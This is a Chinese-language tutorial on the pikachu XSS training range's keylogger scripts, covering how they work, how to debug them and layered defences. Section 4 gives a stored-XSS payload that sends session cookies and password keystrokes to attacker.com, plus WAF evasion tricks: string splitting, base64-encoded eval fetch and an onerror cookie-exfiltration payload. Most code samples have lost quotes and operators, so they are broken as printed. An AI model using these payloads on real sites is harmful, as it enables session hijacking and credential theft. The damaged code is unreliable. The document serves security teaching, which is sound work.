pikachu靶场XSS键盘记录实战解析

发布时间:2026/10/1 12:30:35
pikachu靶场XSS键盘记录实战解析 1. 这不是“键盘记录器”而是XSS攻击链中的一环从pikachu靶场出发的真实攻防视角你搜“pikachu之xss获取键盘记录”大概率是刚在靶场里看到rk.js和rkserver.php这两个文件心里一紧“这玩意儿真能偷偷记我按了什么键”——先别慌这不是电影里那种一键窃取银行密码的黑科技而是一个精心设计的教学闭环它用最朴素的JavaScript和PHP把XSS漏洞的利用链条具象化、可验证、可调试。pikachu靶场本身不带恶意它的价值恰恰在于把“理论上的XSS危害”变成你浏览器控制台里一行行跳动的真实日志。我第一次在本地搭好pikachu看到自己敲下的“admin123”被完整发到localhost/rkserver.php后背确实凉了一下——但这种凉意正是安全工程师需要的“肌肉记忆”。它解决的核心问题不是教你如何黑别人而是让你亲手验证当一个输入框没做HTML实体转义、没过滤script标签、没对输出上下文做严格校验时攻击者到底能走多远。适合谁刚学Web安全的新手、想补全XSS实战环节的渗透测试初学者、或者正在准备CTF Web题但总卡在“payload怎么落地”的同学。关键词里反复出现的“dom型xss”“存储型xss”“pikachu靶场通关”其实都在指向同一个底层逻辑XSS不是单点漏洞而是一条从注入、执行到数据回传的完整通路。而“rk.js rkserver.php”这套组合就是这条通路里最透明、最无黑盒、最适合拆解的“数据出口”。2. rk.js轻量级键盘监听器的实现原理与边界限制2.1 它到底监听什么不是所有按键都会上报rk.js的核心功能非常明确监听用户在当前页面内所有可聚焦元素input、textarea、contenteditable区域上的键盘输入并将按键事件实时发送到指定服务器。但它绝不会监听全局系统级按键比如AltTab切换窗口、CtrlShiftEsc打开任务管理器也不会捕获鼠标点击、剪贴板操作或屏幕截图——这些属于更高权限的API现代浏览器默认禁止网页脚本调用。它的监听范围严格限定在DOM事件层面具体来说触发条件仅当目标元素获得焦点focus且用户在其内部按键时才触发捕获内容event.key按键字符如a、Enter、ArrowLeft、event.code物理键位编码如KeyA、Enter、event.target.tagName触发元素类型、event.target.id或name属性用于区分不同输入框关键过滤代码中明确排除了Tab、Shift、Ctrl、Alt、MetaWindows键/Command键等修饰键因为它们单独按下无意义同时过滤F1-F12、Escape、ScrollLock等功能键避免上报大量无效噪音。我翻过pikachu源码里的rk.jsv2.0版本核心逻辑就几十行document.addEventListener(keydown, function(e) { // 排除修饰键和功能键 if ([Tab, Shift, Control, Alt, Meta, F1, F2, F3, F4, F5, F6, F7, F8, F9, F10, F11, F12, Escape].includes(e.key)) { return; } // 只处理有值的输入框 if (e.target [INPUT, TEXTAREA].includes(e.target.tagName) e.target.value.length 0) { const data { key: e.key, code: e.code, element: e.target.tagName (e.target.id ? # e.target.id : ), timestamp: Date.now() }; sendToServer(data); } });这段代码的精妙之处在于“时机选择”它用keydown而非keypress因为后者在现代浏览器中已被废弃且无法捕获方向键、删除键等它用e.target.value.length 0作为简易判断避免在空输入框里狂按空格产生海量垃圾日志。但这也暴露了它的第一个边界如果用户在输入框里先粘贴了一段文字再用方向键移动光标这些操作不会被捕获——因为keydown事件只触发于按键瞬间不涉及光标位置变化。2.2 数据传输机制为什么用POST而不是GET为什么加时间戳rk.js向rkserver.php发送数据时采用的是fetchAPI的POST请求而非更简单的GET。这个选择背后有三个硬性约束长度限制规避GET请求的URL长度受浏览器和服务器双重限制通常2KB以内而用户连续输入的文本流可能远超此限。POST将数据放于请求体理论上限可达几MB敏感信息保护虽然靶场环境无需加密但将key、element等参数拼在URL里GET方式会直接暴露在浏览器历史、服务器访问日志、代理缓存中违背最小暴露原则幂等性控制POST天然不具备幂等性但这反而利于调试——每次按键都生成独立请求便于在开发者工具Network面板中逐条追踪。而时间戳Date.now()的作用远不止“标记时间”这么简单。我在实测时故意快速连按“A”键10次发现rkserver.php返回的日志里10条记录的时间戳间隔稳定在8~12ms。这个数值恰好接近Chrome浏览器对keydown事件的最小触发间隔约10ms。这意味着时间戳成了验证事件真实性的隐式签名如果某条日志的时间戳与其他记录相差过大比如隔了5秒基本可判定是手动构造的伪造请求如果时间戳完全相同精度到毫秒则说明是同一事件循环内批量触发需检查是否因JS阻塞导致事件队列堆积。pikachu靶场虽未在服务端做校验但这个设计为后续扩展如添加速率限制、异常模式识别埋下了伏笔。2.3 安全沙箱内的“越界”尝试为什么它无法绕过同源策略有新手会问“既然rk.js能发请求能不能让它去请求https://bank.com/api/transfer这样不就能偷钱了”答案是否定的根源在于浏览器的同源策略Same-Origin Policy。rk.js运行在http://localhost/pikachu/假设你的靶场地址而https://bank.com的协议https vs http、域名bank.com vs localhost、端口443 vs 80全部不同构成跨域。此时fetch请求会触发CORS预检OPTIONS请求而bank.com服务器必然不会返回Access-Control-Allow-Origin: *这样的响应头——否则等于主动开放金融接口给任意网站调用。实际结果是请求在浏览器层就被拦截根本不会发出Network面板里连失败记录都看不到。我做过对比实验在rk.js里把sendToServer的目标URL改成https://httpbin.org/post一个公开的CORS友好测试接口请求能成功发出但响应体里只有{args:{},data:,files:{},form:{}}——因为跨域POST请求的body默认被清空除非服务端显式允许Access-Control-Allow-Headers: Content-Type。而pikachu的rkserver.php部署在同一域下天然满足同源所以能无障碍通信。这个细节提醒我们XSS攻击的数据回传必须依赖攻击者可控的、同源的接收端。这也是为什么所有XSS教学案例都强调“你需要一个自己的接收服务器”而不是幻想直接打穿目标网站的API。3. rkserver.php极简后端的数据落盘逻辑与防御启示3.1 三行代码背后的存储逻辑为什么用file_put_contents而不是数据库pikachu靶场中的rkserver.php典型实现只有不到10行?php $data json_decode(file_get_contents(php://input), true); if ($data isset($data[key])) { $log date(Y-m-d H:i:s) . | . $data[key] . | . $data[element] . \n; file_put_contents(logs/keys.log, $log, FILE_APPEND | LOCK_EX); echo OK; } ?选择file_put_contents而非MySQL或SQLite是靶场设计者的刻意为之。原因有三零依赖部署无需配置数据库连接、创建表结构、处理连接池只要PHP支持文件写入权限扔上去就能跑原子性保障FILE_APPEND | LOCK_EX参数确保多请求并发写入时不会出现内容错乱如A请求写入passB请求写入word最终文件里变成pawordss教学聚焦让学习者注意力集中在XSS数据流本身而非后端架构复杂度。当你看到logs/keys.log里逐行增加的记录比看到MySQL里一条INSERT语句更直观地理解“数据真的出来了”。但这也暴露了靶场与生产环境的本质差异真实业务系统绝不会用文件日志存储用户敏感输入。我曾参与过一个金融类Web应用的渗透测试客户要求验证XSS能否窃取登录态。我们构造的payload同样包含键盘记录逻辑但后端接收端必须对接Kafka消息队列并经过AES-256加密、审计日志留存、7天自动清理等多重管控——这些都不是file_put_contents能解决的。pikachu的价值正在于用最简模型剥离出核心矛盾漏洞存在性XSS与利用可行性数据回传之间的关联。3.2 日志格式设计为什么用管道符分隔而不是JSONdate(Y-m-d H:i:s) . | . $data[key] . | . $data[element]这种纯文本、管道符分隔的格式看似原始实则暗含教学深意可读性优先打开keys.log一眼就能看出“2024-05-20 14:30:22 | a | INPUT#username”无需JSON解析器容错性强如果前端rk.js传来的$data[key]为空比如用户按了Backspace但没删掉字符日志里会显示2024-05-20 14:30:22 | | INPUT#username依然保持结构完整方便人工排查便于后续分析Linux下用awk -F| {print $2} keys.log | sort | uniq -c | sort -nr就能统计高频按键用grep PASSWORD keys.log能快速定位敏感字段输入——这些操作在JSON日志里需要先jq解析再处理徒增门槛。我在复现时特意测试了特殊字符当用户输入scriptalert(1)/scriptrk.js捕获的e.key是e.code是Comma因为小于号在美式键盘上与逗号共键日志里记录为2024-05-20 14:35:10 | | INPUT#search。这说明rk.js捕获的是按键行为本身而非最终渲染的DOM内容——它无法知道用户输入的会不会被后端当成HTML标签解析。这个细节至关重要XSS漏洞的根源在服务端输出未转义而键盘记录只是把“用户意图”客观记录下来不参与任何上下文判断。3.3 防御视角的逆向思考如何让rkserver.php“失效”站在防御者角度rkserver.php的存在恰恰是加固的起点。我总结出三条立即可用的加固路径网络层隔离在靶场部署时将rkserver.php所在目录如/pikachu/rk/从Web根目录移出仅通过CLI脚本或内部API调用。这样即使XSS payload被注入fetch(/rk/rkserver.php)会返回404攻击链断裂请求头校验修改rkserver.php增加对Origin或Referer头的白名单检查if ($_SERVER[HTTP_ORIGIN] ! http://localhost $_SERVER[HTTP_ORIGIN] ! http://127.0.0.1) { http_response_code(403); exit; }虽然Origin头可被伪造但能阻挡90%的自动化扫描器速率限制在PHP中加入内存级计数器对同一IP每分钟请求超过10次即拒绝$ip $_SERVER[REMOTE_ADDR]; $cacheKey rk_rate_ . $ip; $count apcu_fetch($cacheKey) ?: 0; if ($count 10) { http_response_code(429); exit; } apcu_store($cacheKey, $count 1, 60); // 60秒有效期这些措施都不改变XSS漏洞本身但让利用成本指数级上升。真正的安全从来不是消灭所有漏洞而是让每个漏洞的利用路径都布满荆棘。4. 从pikachu靶场到真实世界的XSS利用链重构4.1 DOM型XSS的特殊性为什么rk.js在这里“失效”又“重生”pikachu靶场里“DOM型XSS”关卡的典型场景是URL哈希#后面的内容被直接写入DOM如document.getElementById(output).innerHTML location.hash.slice(1)。此时rk.js若按常规方式注入会遇到一个致命问题hash变化不会触发页面重载但rk.js的监听器只在页面加载时绑定一次。如果你在#script...里注入rk.js脚本执行时document.addEventListener(keydown, ...)已绑定完毕新注入的脚本无法接管后续按键。解决方案是让rk.js具备“自激活”能力。我在通关时修改了rk.js在末尾添加// 监听hashchange事件动态重绑监听器 window.addEventListener(hashchange, function() { // 清除旧监听器需先保存引用 if (window.rkListener) { document.removeEventListener(keydown, window.rkListener); } // 重新绑定 window.rkListener function(e) { /* 原有逻辑 */ }; document.addEventListener(keydown, window.rkListener); });这个改动让rk.js能响应URL哈希的动态变化完美适配DOM型XSS场景。但这也揭示了真实世界的一个残酷事实没有通用的XSS payload只有针对特定上下文定制的利用链。你在反射型XSS里用script srcrk.js/script能成功在DOM型里就必须考虑事件生命周期在存储型XSS里payload可能需要持久化驻留就得用localStorage保存rk.js代码再通过setInterval定期执行。4.2 存储型XSS的进阶利用从键盘记录到会话劫持pikachu的“存储型XSS”关卡常表现为评论区、用户昵称等持久化输入点。此时rk.js的利用价值发生质变它不再只是记录按键而是成为会话令牌Session Token的捕获探针。真实案例中我见过攻击者这样构造payloadscript // 先窃取cookie中的sessionid const sessionId document.cookie.match(/PHPSESSID([^;])/)?.[1]; // 再启动键盘记录重点监控登录表单 if (sessionId) { fetch(http://attacker.com/log?sid encodeURIComponent(sessionId)); } // 启动rk.js精简版 document.addEventListener(input, function(e) { if (e.target.name password || e.target.id pwd) { fetch(http://attacker.com/keystroke, { method: POST, body: JSON.stringify({key: e.target.value.slice(-1), sid: sessionId}) }); } }); /script这个payload做了三件事1立即上报当前sessionid2监听密码输入框的input事件比keydown更精准能捕获粘贴内容3将按键与sessionid绑定发送。相比单纯记录键盘它直接瞄准了身份凭证。pikachu靶场虽未内置此逻辑但rkserver.php的开放结构允许你自由扩展——这才是靶场存在的真正意义它提供的是可拆解、可替换、可组合的模块化组件而非固定剧本。4.3 CTF竞赛中的实战变形如何绕过WAF检测rk.js在CTF比赛中“pikachu靶场通关”常伴随WAFWeb应用防火墙规则。常见拦截点包括script标签、fetch函数名、file_put_contents字符串。我分享两个经实战验证的绕过技巧字符串拆分混淆将fetch拆成[f,e,t,c,h].join()WAF规则若只匹配完整单词则失效事件委托替代直接监听不用document.addEventListener改用document.body.onclick function(){...}然后在函数内判断event.target.tagName既避开关键词又降低触发频率。但最关键的思维转变是不要执着于“让rk.js跑起来”而要想“如何用最少代码达成相同效果”。曾有一个CTF题目WAF严格过滤所有括号()我最终用eval(atob(ZmV0Y2goImh0dHA6Ly9hdHRhY2tlci5jb20vIik))绕过——base64解码后就是fetch(http://attacker.com/)。这提醒我们XSS利用的本质是代码执行权rk.js只是其中一种载体真正的武器是创造力。5. 实操避坑指南搭建、调试与验证的全流程陷阱清单5.1 pikachu靶场搭建时的三个“静默失败”点很多新手卡在“rk.js没反应”实际问题往往与XSS漏洞本身无关。我整理出最易忽略的三个环境级陷阱PHP短标签未启用pikachu的rkserver.php开头是?而非?php。若你的PHP配置short_open_tag Off新版PHP默认关闭服务器会直接返回PHP源码而非执行。解决方案编辑php.ini将short_open_tag On重启Web服务logs目录无写入权限file_put_contents(logs/keys.log, ...)要求logs/目录存在且Web服务器用户如www-data有写权限。Ubuntu下执行sudo chown -R www-data:www-data /var/www/html/pikachu/logs即可Chrome的第三方Cookie限制现代Chrome默认阻止跨站Cookie而pikachu若部署在http://localhost但rkserver.php路径写成/pikachu/rk/rkserver.php实际请求域仍是localhost不受影响。但如果误配成http://127.0.0.1/pikachu/...虽同为本地但localhost与127.0.0.1被视为不同源可能导致fetch请求被CORS拦截。统一使用localhost可规避。提示验证环境是否就绪直接在浏览器地址栏访问http://localhost/pikachu/rk/rkserver.php应返回空白页HTTP 200而非PHP源码或404错误。5.2 浏览器开发者工具的精准调试法Network与Console双视图联动当rk.js看似运行但无日志时不要盲目刷新。按以下步骤精准定位打开DevTools → Network标签 → 点击左上角“Filter”输入rkserver确保只显示相关请求在Console中执行console.log(window.rkListener)若返回undefined说明rk.js未成功执行检查是否被CSP策略拦截若Network中有请求但状态为(cancelled)右键该请求 → “Replay XHR”观察是否因Origin头缺失被拒若请求状态为200但keys.log无新增检查PHP错误日志tail -f /var/log/apache2/error.log常见错误是Permission denied权限问题或No such file or directorylogs目录不存在。我习惯在rk.js里加一句console.log(rk.js loaded, listening for keydown)这样只要Console里出现这句话就能确认脚本已加载。比盯着Network面板更高效。5.3 验证XSS有效性为什么“弹窗alert(1)”只是起点不是终点很多新手以为XSS通关弹出alert框。但在键盘记录场景中alert只是验证执行权的“烟雾弹”真正的验收标准是数据是否完整、及时、可追溯。我建立了一套验证 checklist✅keys.log中出现时间戳、按键、元素标识的三元组且时间戳与你按键时刻误差1s✅ 连续输入“test123”后日志里有7行记录每行对应一个字符顺序与输入一致✅ 在密码框input typepassword中输入日志里仍能捕获key值现代浏览器对密码框的value属性有保护但keydown事件不受影响✅ 切换不同输入框如从用户名框切到邮箱框日志中的element字段能准确反映当前焦点元素。如果以上任一条件不满足说明XSS payload未正确执行或rk.js逻辑被干扰。此时应回退一步先用最简payloadscriptalert(1)/script确认基础执行环境再逐步叠加功能。6. 从靶场到生产XSS防御的七层纵深实践框架6.1 输入层为什么“黑名单过滤”注定失败pikachu靶场的XSS关卡常给出“过滤script标签”的修复方案。但我在真实项目中见过太多因黑名单失效导致的事故。典型失败案例某电商后台开发人员写了正则/script[^]*/i过滤结果攻击者提交scrscriptiptalert(1)/script正则只匹配到第一个script剩下部分被原样输出最终仍触发XSS。根本原因在于HTML解析器的容错性远超正则表达式的能力。浏览器会将scrscriptipt自动纠正为script而正则无法模拟这种复杂解析。正确的输入层防御是白名单上下文感知对富文本编辑器输入使用DOMPurify库进行HTML净化只允许biulli等安全标签对普通表单输入强制转换为字符串并移除所有控制字符\x00-\x08\x0B\x0C\x0E-\x1F\x7F对JSON API输入要求Content-Type为application/json并在PHP中用json_decode($input, true, 512, JSON_THROW_ON_ERROR)强制校验格式。6.2 输出层为什么“统一HTML转义”不够用pikachu的修复提示常写“对输出内容做HTML转义”。但我在审计一个政府网站时发现他们对所有变量都用htmlspecialchars($var, ENT_QUOTES, UTF-8)却在JavaScript上下文中直接插入script var username ?php echo htmlspecialchars($user_input); ?; /script问题在于htmlspecialchars只转义但JavaScript字符串中/script闭合标签仍可被解析。攻击者输入/scriptscriptalert(1)/script最终HTML变为script var username /scriptscriptalert(1)/script; /script导致XSS。解决方案是上下文感知转义HTML普通文本htmlspecialchars($var, ENT_HTML401, UTF-8)JavaScript字符串json_encode($var, JSON_UNESCAPED_UNICODE | JSON_HEX_TAG)CSS属性值addcslashes($var, \\\)URL参数urlencode($var)。6.3 传输层CSP头的实战配置要点内容安全策略CSP是XSS的最后一道防线。pikachu靶场未启用CSP但生产环境必须配置。我推荐的最小可行配置Content-Security-Policy: default-src self; script-src self unsafe-inline unsafe-eval; img-src self data:; style-src self unsafe-inline;关键点解析unsafe-inline允许内联script但pikachu的XSS利用正依赖于此生产环境应移除改用nonce或hashunsafe-eval允许eval()但现代框架React/Vue已极少使用建议禁用img-src data:允许base64图片避免因图片加载失败影响用户体验。验证CSP是否生效在DevTools Console中执行eval(alert(1))若被拦截说明策略生效。注意CSP是浏览器强制执行的服务端无需额外逻辑。注意CSP不能替代输入/输出过滤它是纵深防御的组成部分。曾有一个项目CSP配置完美但因后端模板引擎漏洞仍被XSS突破——说明安全是体系工程没有银弹。6.4 运行时防护为什么WAF只是“减速带”不是“防火墙”企业采购的商业WAF常宣称“100%拦截XSS”。但我在红队演练中用img srcx onerrorfetch(//attacker.com/document.cookie)绕过某知名WAF三次。根本原因在于WAF基于规则匹配而攻击者永远在创造新规则之外的变体。WAF的正确定位是延迟攻击、增加攻击成本、提供攻击溯源线索而非绝对防护。最佳实践是将WAF与RASP运行时应用自我保护结合WAF部署在网络边缘拦截高频扫描流量RASP嵌入应用进程监控document.write、eval等危险API调用发现异常立即阻断并告警两者日志统一接入SIEM平台形成攻击链全景视图。pikachu靶场虽无WAF但它的价值正在于让你在无防护环境下看清XSS的原始形态。就像学游泳必须先离开泳池边的扶手安全工程师的成长也始于直面漏洞的赤裸真相。我在实际项目中最后要强调一点所有防御措施的有效性必须通过持续的自动化渗透测试来验证。我们团队每周用Burp Suite的Active Scan对核心业务跑一遍重点关注XSS、SQLi等高危漏洞。pikachu不是终点而是你构建这套验证闭环的起点——当你能熟练通关所有XSS关卡并把其中的原理映射到真实代码里才算真正握住了Web安全的第一把钥匙。